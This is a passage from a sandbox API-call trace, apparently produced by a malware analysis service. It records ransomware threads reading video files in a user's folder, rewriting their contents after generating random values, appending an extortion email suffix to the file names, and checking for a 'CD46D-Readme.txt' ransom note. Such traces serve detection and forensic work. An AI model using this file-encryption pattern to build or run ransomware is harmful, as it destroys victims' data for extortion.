Size=0x20) returned 0x97ce8f0 [0053.270] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8f0) returned 1 [0053.270] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec48b0) returned 1 [0053.270] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eb80a8) returned 1 [0053.275] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a768) returned 1 [0053.275] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d50) returned 1 [0053.275] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x402d50 [0053.276] SetFilePointerEx (in: hFile=0xb1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.276] WriteFile (in: hFile=0xb1c, lpBuffer=0x44b420*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0xf05f7d8, lpOverlapped=0x0 | out: lpBuffer=0x44b420*, lpNumberOfBytesWritten=0xf05f7d8*=0x11d, lpOverlapped=0x0) returned 1 [0053.547] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b420) returned 1 [0053.547] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a80) returned 1 [0053.547] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8f0) returned 1 [0053.547] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d50) returned 1 [0053.547] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8c8) returned 1 [0053.547] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0088) returned 1 [0053.547] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d00d8) returned 1 [0053.547] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0100) returned 1 [0053.547] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x44e888 [0053.547] wcscpy (in: _Dest=0x44e888, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CQCoZngnI1unyoCqPW.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CQCoZngnI1unyoCqPW.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CQCoZngnI1unyoCqPW.flv" [0053.547] wcscat (in: _Dest=0x44e888, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CQCoZngnI1unyoCqPW.flv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CQCoZngnI1unyoCqPW.flv.mailto[2Hamlampampom@cock.li].cd46d" [0053.547] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CQCoZngnI1unyoCqPW.flv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf05f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CQCoZngnI1unyoCqPW.flv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.548] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x44e950 [0054.008] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e950) returned 1 [0054.008] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b4130) returned 1 [0054.008] NtQueryInformationFile (in: FileHandle=0xb1c, IoStatusBlock=0xf05f79c, FileInformation=0xf05f774, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf05f79c, FileInformation=0xf05f774) returned 0x0 [0054.008] NtSetInformationFile (FileHandle=0xb1c, IoStatusBlock=0xf05f79c, FileInformation=0xf05f774, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.012] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e888) returned 1 [0054.012] FlushFileBuffers (hFile=0xb1c) returned 1 [0054.074] CloseHandle (hObject=0xb1c) returned 1 [0054.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43b2d0 [0054.074] wcscpy (in: _Dest=0x43b2d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.075] wcscat (in: _Dest=0x43b2d0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.075] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.075] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0054.075] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e738) returned 1 Thread: id = 614 os_tid = 0x320 [0050.154] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g-FOtHWLLfsN.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g-fothwllfsn.avi")) returned 0x20 [0050.154] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g-FOtHWLLfsN.avi", dwFileAttributes=0x20) returned 1 [0050.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g-FOtHWLLfsN.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g-fothwllfsn.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb20 [0050.154] GetFileSizeEx (in: hFile=0xb20, lpFileSize=0xf01fc18 | out: lpFileSize=0xf01fc18*=72801) returned 1 [0050.154] SetFilePointerEx (in: hFile=0xb20, liDistanceToMove=0x11c5d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.154] ReadFile (in: hFile=0xb20, lpBuffer=0xf01fb9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf01fb98, lpOverlapped=0x0 | out: lpBuffer=0xf01fb9c*, lpNumberOfBytesRead=0xf01fb98*=0x4, lpOverlapped=0x0) returned 1 [0050.155] SetFilePointerEx (in: hFile=0xb20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.155] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441118 [0050.155] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d00b0 [0050.155] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0128 [0050.155] NtQuerySystemTime (in: CurrentTime=0xf01fb78 | out: CurrentTime=0xf01fb78*=132174898141308000) returned 0x0 [0050.155] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x6f994fa1 [0050.155] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x41fa6144 [0050.155] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x820391e [0050.155] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x22a154cc [0050.155] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x4d8fde1 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x57bd14a0 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x181b2ed7 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x6c0f5c6b [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x3e08ccda [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x28b8996b [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x451a73a5 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x3234881 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x8f9bbd [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x4d94ccc [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x744324ab [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x55459406 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x5ed46c78 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x6e2fb253 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x6bd7a5d3 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x28be25f1 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x55105f46 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x4c3bdb86 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x43bec9b7 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x4d61aaf3 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x9f7a7fb [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x3fc82366 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x52ca669 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x6e062605 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x54b48c77 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x394cd1b5 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x12a31cc9 [0050.156] RtlRandomEx (in: Seed=0xf01fb84 | out: Seed=0xf01fb84) returned 0x92670ee [0050.169] SetFilePointerEx (in: hFile=0xb20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.170] ReadFile (in: hFile=0xb20, lpBuffer=0x95d0848, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xf01fb58, lpOverlapped=0x0 | out: lpBuffer=0x95d0848*, lpNumberOfBytesRead=0xf01fb58*=0xc800, lpOverlapped=0x0) returned 1 [0050.170] SetFilePointerEx (in: hFile=0xb20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.170] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402cc0 [0050.170] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a7e0 [0050.170] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441118 [0050.170] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441118) returned 1 [0050.171] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x95dd050 [0050.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441118 [0050.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0128 [0050.174] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0128) returned 1 [0050.174] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a7e0) returned 1 [0050.174] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402cc0) returned 1 [0050.174] WriteFile (in: hFile=0xb20, lpBuffer=0x95dd050*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xf01fb58, lpOverlapped=0x0 | out: lpBuffer=0x95dd050*, lpNumberOfBytesWritten=0xf01fb58*=0xc800, lpOverlapped=0x0) returned 1 [0053.277] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95dd050) returned 1 [0053.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0848) returned 1 [0053.278] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2d) returned 0x40aa68 [0053.278] SetFilePointerEx (in: hFile=0xb20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.278] WriteFile (in: hFile=0xb20, lpBuffer=0x5ed68b8*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0xf01fbd8, lpOverlapped=0x0 | out: lpBuffer=0x5ed68b8*, lpNumberOfBytesWritten=0xf01fbd8*=0x111, lpOverlapped=0x0) returned 1 [0053.548] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed68b8) returned 1 [0053.548] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab80) returned 1 [0053.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce918) returned 1 [0053.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aa68) returned 1 [0053.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441118) returned 1 [0053.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d00b0) returned 1 [0053.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0150) returned 1 [0053.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0178) returned 1 [0053.549] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02420 [0053.549] wcscpy (in: _Dest=0x5e02420, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g-FOtHWLLfsN.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g-FOtHWLLfsN.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g-FOtHWLLfsN.avi" [0053.549] wcscat (in: _Dest=0x5e02420, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g-FOtHWLLfsN.avi.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g-FOtHWLLfsN.avi.mailto[2Hamlampampom@cock.li].cd46d" [0053.549] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g-FOtHWLLfsN.avi.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf01fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g-FOtHWLLfsN.avi.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.549] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d2b0 [0054.010] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d2b0) returned 1 [0054.010] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b3440) returned 1 [0054.010] NtQueryInformationFile (in: FileHandle=0xb20, IoStatusBlock=0xf01fb9c, FileInformation=0xf01fb74, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf01fb9c, FileInformation=0xf01fb74) returned 0x0 [0054.010] NtSetInformationFile (FileHandle=0xb20, IoStatusBlock=0xf01fb9c, FileInformation=0xf01fb74, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02420) returned 1 [0054.014] FlushFileBuffers (hFile=0xb20) returned 1 [0054.076] CloseHandle (hObject=0xb20) returned 1 [0054.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43b2d0 [0054.077] wcscpy (in: _Dest=0x43b2d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.077] wcscat (in: _Dest=0x43b2d0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.077] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.077] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0054.077] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418a28) returned 1 Thread: id = 615 os_tid = 0x7e8 [0050.174] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gHJmSTMmw6Z9kUlhT.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ghjmstmmw6z9kulht.mp4")) returned 0x20 [0050.175] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gHJmSTMmw6Z9kUlhT.mp4", dwFileAttributes=0x20) returned 1 [0050.175] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gHJmSTMmw6Z9kUlhT.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ghjmstmmw6z9kulht.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb24 [0050.175] GetFileSizeEx (in: hFile=0xb24, lpFileSize=0xf1efc74 | out: lpFileSize=0xf1efc74*=29130) returned 1 [0050.175] SetFilePointerEx (in: hFile=0xb24, liDistanceToMove=0x71c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.175] ReadFile (in: hFile=0xb24, lpBuffer=0xf1efbf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf1efbf4, lpOverlapped=0x0 | out: lpBuffer=0xf1efbf8*, lpNumberOfBytesRead=0xf1efbf4*=0x4, lpOverlapped=0x0) returned 1 [0050.176] SetFilePointerEx (in: hFile=0xb24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0128 [0050.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d01a0 [0050.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d01c8 [0050.176] NtQuerySystemTime (in: CurrentTime=0xf1efbd4 | out: CurrentTime=0xf1efbd4*=132174898141620000) returned 0x0 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x49389e06 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x66644bc2 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x23053638 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x8d0bf6e [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0xc926e77 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x46580690 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x57f90ffb [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x22dc4c61 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x4370fc79 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x6799cfd4 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x21f64a71 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x4b019963 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0xc86fd08 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x185568b9 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x5b4c0f06 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x1fcabbe4 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x6c17f1b2 [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0xbe9829d [0050.176] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x4784e6b1 [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x56d220db [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x26f57344 [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x4702ba02 [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x51693197 [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x2994d0b8 [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x30e37044 [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x6d758beb [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x38031245 [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x32e4569c [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x1d032b80 [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x1a27168b [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x78f21595 [0050.177] RtlRandomEx (in: Seed=0xf1efbe0 | out: Seed=0xf1efbe0) returned 0x5a04e34d [0050.189] ReadFile (in: hFile=0xb24, lpBuffer=0x95e9858, nNumberOfBytesToRead=0x71ca, lpNumberOfBytesRead=0xf1efbd0, lpOverlapped=0x0 | out: lpBuffer=0x95e9858*, lpNumberOfBytesRead=0xf1efbd0*=0x71ca, lpOverlapped=0x0) returned 1 [0050.190] SetFilePointerEx (in: hFile=0xb24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.190] WriteFile (in: hFile=0xb24, lpBuffer=0x95f6060*, nNumberOfBytesToWrite=0x71ca, lpNumberOfBytesWritten=0xf1efbcc, lpOverlapped=0x0 | out: lpBuffer=0x95f6060*, lpNumberOfBytesWritten=0xf1efbcc*=0x71ca, lpOverlapped=0x0) returned 1 [0053.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce940 [0053.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce968 [0053.282] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce968) returned 1 [0053.282] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95f6060) returned 1 [0053.282] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95e9858) returned 1 [0053.282] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a7e0) returned 1 [0053.282] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402cc0) returned 1 [0053.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x4400a0 [0053.282] SetFilePointerEx (in: hFile=0xb24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.282] WriteFile (in: hFile=0xb24, lpBuffer=0x5ed69d8*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0xf1efc34, lpOverlapped=0x0 | out: lpBuffer=0x5ed69d8*, lpNumberOfBytesWritten=0xf1efc34*=0x11b, lpOverlapped=0x0) returned 1 [0053.550] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed69d8) returned 1 [0053.550] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440ae0) returned 1 [0053.550] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce968) returned 1 [0053.550] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4400a0) returned 1 [0053.550] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce940) returned 1 [0053.550] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d01a0) returned 1 [0053.550] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d01f0) returned 1 [0053.550] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0218) returned 1 [0053.550] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x44ea30 [0053.550] wcscpy (in: _Dest=0x44ea30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gHJmSTMmw6Z9kUlhT.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gHJmSTMmw6Z9kUlhT.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gHJmSTMmw6Z9kUlhT.mp4" [0053.550] wcscat (in: _Dest=0x44ea30, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gHJmSTMmw6Z9kUlhT.mp4.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gHJmSTMmw6Z9kUlhT.mp4.mailto[2Hamlampampom@cock.li].cd46d" [0053.550] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gHJmSTMmw6Z9kUlhT.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf1efbec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gHJmSTMmw6Z9kUlhT.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.550] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x44eaf8 [0054.013] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44eaf8) returned 1 [0054.013] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4af218) returned 1 [0054.013] NtQueryInformationFile (in: FileHandle=0xb24, IoStatusBlock=0xf1efbf8, FileInformation=0xf1efbd0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf1efbf8, FileInformation=0xf1efbd0) returned 0x0 [0054.013] 